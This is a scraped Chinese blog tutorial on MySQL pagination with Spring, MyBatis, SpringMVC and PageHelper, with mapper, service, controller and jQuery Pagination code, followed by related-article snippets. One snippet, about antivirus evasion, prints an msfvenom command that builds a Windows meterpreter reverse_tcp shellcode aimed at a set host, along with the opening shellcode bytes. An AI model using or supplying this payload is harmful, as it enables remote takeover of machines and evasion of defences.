Mysql分頁加pagebean_Spring+MyBatis+SpringMvc+Mysql+Druid+PageHelper分頁實現

我是阿福,公眾號「阿福聊編程」作者,一個在后端技術路上摸盤滾打的程序員,在進階的路上,共勉!文章已收錄在 JavaSharing 中,包含Java技術文章,面試指南,資源分享。

思路分析

57488bc2fa283ba03c44746e79e1853f.png

MyBatis的PageHelper插件(后臺)

作用

以完全非侵入的方式在原有查詢基礎上附加分頁效果。從SQL層面來說,在SQL語句后面附加LIMIT子句。從Java代碼來說,把原來返回的List類型封裝為Page類型。

依賴信息

com.github.pagehelper

pagehelper

4.0.0

配置方式

那么如何讓插件起作用呢?就需要在SqlSessionFactoryBean中配置MyBatis插件

mysql

true

數據庫的Sql 腳本

SELECT

*

FROM

t_admin

WHERE

loginacct LIKE CONCAT('%','ad','%')

OR username LIKE CONCAT('%','ad','%')

OR email LIKE CONCAT('%','ad','%')

AdminMapper配置文件

id, loginacct, userpswd, username, email, createtime

SELECT

FROM

t_admin

WHERE

loginacct LIKE CONCAT('%',#{keyword},'%')

OR username LIKE CONCAT('%',#{keyword},'%')

OR email LIKE CONCAT('%',#{keyword},'%')

Mapper接口

List queryAdminByKeyWord(@Param("keyword") String keyword);

AdminServiceImpl

public PageInfo queryForKeywordSearch(int pageNum, int pageSize, String keyword) {

//調用PageHelper的工具方法,開啟分頁功能

PageHelper.startPage(pageNum, pageSize);

List adminBeans = adminMapper.queryAdminByKeyWord(keyword);

//執行分頁查詢

return new PageInfo(adminBeans);

}

AdminController

@RequestMapping("/queryAdmin")

public String queryAdminByKeyword(@RequestParam(value = "pageNum", defaultValue = "1") int pageNum,

@RequestParam(value = "pageSize", defaultValue = "5") int pageSize,

@RequestParam(value = "keyword", defaultValue = "") String keyword,

Model model) {

PageInfo adminBeanPageInfo = adminService.queryForKeywordSearch(pageNum, pageSize, keyword);

model.addAttribute(CrowdFundingConstant.ATTR_NAME_PAGE_INFO, adminBeanPageInfo);

return "admin/admin-page";

}

常量類

public class CrowdFundingConstant {

public static final String ATTR_NAME_PAGE_INFO="PAGEINFO-ADMIN";

}

到這里后臺的功能都實現完了,下面來實現前臺的功能。

頁面顯示 主體部分(前臺)

前臺頁面

#賬號名稱郵箱地址操作

抱歉,沒有用戶查詢的數據!!!!

varStatus="myStatus">

${myStatus.count}${item.loginAcct}${item.userName}${item.email}

class=" glyphicon glyphicon-check">

class=" glyphicon glyphicon-remove">

頁面導航條部分的實現

使用一個基于jQuery的分頁插件:Pagination

環境搭建

加入樣式文件,pagination.css引入工程,在需要的頁面引用pagination.css

加入Pagination的js文件,在需要的頁面引用jquery.pagination.js,這里要注意一下,需要把源碼文件中 這段代碼注釋掉:opts.callback(current_page, this); 因為在這個地方重新加載頁面,會造成死循環。

分頁導航條需要在HTML標簽中加入的部分

jQuery代

// 聲明函數封裝導航條初始化操作

function initPagination() {

// 聲明變量存儲總記錄數

var totalRecord = ${requestScope['PAGEINFO-ADMIN'].total};

// 聲明變量存儲分頁導航條顯示時的屬性設置

var paginationProperties = {

num_edge_entries: 3, //邊緣頁數

num_display_entries: 5, //主體頁數

callback: pageselectCallback, //回調函數

items_per_page: ${requestScope['PAGEINFO-ADMIN'].pageSize}, //每頁顯示數據數量,就是pageSize

current_page: ${requestScope['PAGEINFO-ADMIN'].pageNum - 1},//當前頁頁碼

prev_text: "上一頁", //上一頁文本

next_text: "下一頁" //下一頁文本

};

// 顯示分頁導航條

$("#Pagination").pagination(totalRecord, paginationProperties);

};

// 在每一次點擊“上一頁”、“下一頁”、“頁碼”時執行這個函數跳轉頁面

function pageselectCallback(pageIndex, jq) {

// pageIndex從0開始,pageNum從1開始

var pageNum = pageIndex + 1;

// 跳轉頁面

window.location.href = "admin/queryAdmin.action?pageNum=" + pageNum + "&keyword=${param.keyword}";

return false;

};

關鍵詞查詢

style="float:left;">

查詢條件

placeholder="請輸入查詢條件">

查詢

點擊查詢的按鈕就可以實現分頁查詢的功能了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/271272.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/271272.shtml
英文地址,請注明出處:http://en.pswp.cn/news/271272.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python csv使用_python CSV模塊的使用

簡介 CSV(comma separated values),逗號分隔值(字符分割值,字符可以不是逗號),常用的文本格式,用以存儲表格數據,包括數字或者字符。kaggle就是csv格式,pytho…

JDK 與 JRE區別

JDK 與 JRE JDK 與 JRE 是我們經常遇到的概念,但許多學習了幾年的開發都搞不懂他們之間的區別。簡單地說 JRE(Java Runtime Environment)僅包含運行 Java 程序的必需組件,包括 Java 虛擬機以及 Java 核心類庫等。而 JDK&#xff…

數據庫技術基礎:查詢優化相關知識筆記

1、查詢優化的基本概念1.1 查詢處理查詢處理是指從數據庫中提取數據的一系列活動。主要包括:將高級數據庫查詢語句翻譯成文件系統這一物理 層次的表達式,為優化查詢進行各種轉換以及查詢的實際執行。1.2 查詢處理的代價查詢處理的代價通常由磁盤的訪問,因…

設計模式----解釋器模式

一、簡介 解釋器模式使用頻率并不高,通常用來構建一個簡單語言的語法解釋器,它只在一些非常特定的領域被用到,比如編譯器、規則引擎、正則表達式、sql解析等。 解釋器模式是行為型設計模式之一,它的原始定義為:用于定義…

HTML學習筆記16——尺寸的表示_px、%、em三種

1.像素表示: 23px 2.子像素可以用百分比表示其大小,如50%,表示為父元素的一半 如果塊狀子元素的寬度不指定,默認是占滿父元素的寬度; 3.用em表示字體大小時,表示相對大小,是與父元素的比值&…

mysql索引是自動使用嗎_mysql索引是自動使用嗎?

MYSQL在創建索引后對索引的使用方式分為兩種:其一,由數據庫的查詢優化器自動判斷是否使用索引;其二,用戶可在寫SQL語句時強制使用索引。MYSQL在創建索引后對索引的使用方式分為兩種:1 由數據庫的查詢優化器自動判斷是否…

mac idea配置配置自動清除類中無用的import包

1:mac快捷鍵清包 control option o windows快捷鍵 Ctrl Alt O 2:打開Perferences ---> Editor --->Auto Imort 在下圖選中方方框中勾上

關系數據庫基礎:函數依賴知識筆記

1、函數依賴的定義設R(U)是屬性集U.上的關系模式,X, Y是U的子集。若對于R(U)的任意一個可能的關系r,r中不可能存在兩個元組在X集合上的屬性值相等,而在Y上的屬性值不等,則稱X函數確定Y或Y函數依賴于X,記作X→Y。理解:X,Y為兩個集合…

pythonspark實例_spark+python快速入門實戰小例子(PySpark)

1、集群測試實例 代碼如下: from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

SQL數據庫。按年,月,日查詢

select * from pop where year(pdate)年份 and month(pdate)>1 and month(pdate)<3select * from Mall_Coupons where year(StartDate)2011 and month(StartDate)>12 and month(StartDate)<2轉載于:https://www.cnblogs.com/wybshyy/p/5847894.html

【Spark】Spark基礎教程知識點

第 1 部分 Spark 基礎 Spark 概述 本章介紹 Spark 的一些基本認識. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一個快速(基于內存), 通用, 可擴展的集群計算引擎 并且 Spark 目前已經成為 Apache 最活躍的開源項目, 有超過 1000 個活躍的貢獻者. 歷史 2009 年…

關系數據庫理論:數據庫的六大范式知識筆記

1、數據庫范式的作用數據庫范式主要是為解決關系數據庫中數據冗余、更新異常、插入異常、刪除異常問題而引入的設計理念。簡單來說&#xff0c;數據庫范式可以避免數據冗余&#xff0c;減少數據庫的存儲空間&#xff0c;并且減輕維護數據完整性的成本。是關系數據庫核心的技術之…

python 生成payload_利用Python進行Payload分離免殺

缺點&#xff1a;編譯成exe以后體積過大實現&#xff1a;msf生成shellcode代碼&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c將payload給copy下來&#xff0c;去除引號。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初識docker

前言大家好&#xff0c;我是jack xu&#xff0c;本篇是我在今日頭條的首秀&#xff0c;我的英文名來源于jack ma&#xff0c;馬云&#xff0c;所以大家也可以叫我徐云&#xff0c;即我希望像馬云一樣富有、成功&#xff0c;另外我名字中的杰與jack也是諧音關系。今天給大家帶來…

H5基礎標簽

一、字體標簽 1.text-indent&#xff1a;首行縮進 2.text-decoration&#xff1a;文本修飾&#xff08;text-decoration&#xff1a;none;除去文字的下劃線&#xff1b;text-decoration&#xff1a;line-through&#xff1b;文字上加刪除線&#xff09; 3.letter-spacing&#…

SQL語言基礎:數據庫語言概念介紹

1、概念介紹SQL&#xff08;Structured Query Lanauage&#xff09;結構化查詢語言是關系數據庫中最普遍使用的語言。主要包括查詢、數據操縱、數據定義、數據控制功能&#xff0c;是一種通用的、功能強大的關系數據庫的標準語言。2、SQL語言分類2.1 數據庫定義語言&#xff08…

configuration 命名空間_kubernetes30:monitoring命名空間處于Terminating狀態的處理方法...

刪除monitoring命名空間時總也無法徹底刪除&#xff0c;發現monitoring處于Terminating狀態&#xff0c;故有此文。kubectl get namespaces -o wide解決&#xff1a;嘗試使用force delete。kubectl delete namespace monitoring --force --grace-period0發現強制刪除沒有成功。…

SQL語言基礎:SQL語言概念知識筆記

1、SQL標準ANSI&#xff08;美國國家標準機構&#xff09;SQL對ANSI SQL進行修改后在1992年采用的標準SQL-92或SQL2SQL-99或SQL3標準從SQL2擴充而來&#xff0c;增加了對象關系特征和許多其他新的功能。最近的標準版本是SQL&#xff1a;20032、SQL的特點綜合統一&#xff1a;SQ…

重定向與轉發

使用重定向方法sendRedirect()將用戶重新定向到一個JSP頁面或另一個Servlet。 RequestDispatcher對象調用void forward(ServletRequest request,ServletResponse response) 方法可以將用戶對當前JSP頁面或Servlet的請求轉發給RequestDispatcher對象所指定的JSP頁面或Servlet。 …

ubuntu mysql 內存滿了_Ubuntu mysql可以把data防止到內存盤中

作者&#xff1a;李祥敬2010-03-04/17:57Ubuntu mysql對于電腦使用的玩家的常用軟件&#xff0c;然后我就學習及深入的研究Ubuntu mysql&#xff0c;在這里和大家一起探討Ubuntu mysql的使用方法&#xff0c;希望對大家有用。1、如果Ubuntu mysql的data數據很少&#xff0c;內存…